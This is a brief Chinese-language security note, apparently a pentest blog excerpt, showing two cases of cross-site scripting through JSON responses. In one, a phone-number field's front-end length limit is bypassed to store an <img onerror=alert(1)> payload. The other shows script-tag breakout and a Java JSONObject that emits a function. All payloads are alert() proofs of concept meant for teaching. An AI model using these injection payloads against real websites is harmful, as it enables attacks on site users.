漏洞實例一:
1、在更新用戶信息,修改聯系電話,抓包繞過前端20個字符限制,Payload為 111<img src=1 onerror=alert(1)>
2、更新后,訪問json
3、已隱去相關信息,json形式大約是這樣子:
{"birthday":"1991-12-09 00:00:00","org": {"parent":"ae5ef78d-bd21-4e10-a03a-2707366dfb80", "phone":"111<img src=1 onerror=alert(1)>","createTime":"2019-01-25 09:46:30","status":1}
4、在頁面找到輸出點,成功彈窗。
案例二:
<script>var JSONResponseString='{"movies":[{"response":"111"}]}';alert(/xss/)</script>//"}]}';</script>
json = new JSONObject(); json.put("code", 200); json.put("info", "{'replace':function(){alert(/xss/);}}"); json.put("msg", "success"); System.out.println(json); // 輸出:{"code":200,"info":{"replace":function(){ alert(/xss/); }},"msg":"success"}
參考鏈接:https://blog.csdn.net/l_f0rm4t3d/article/details/23851071/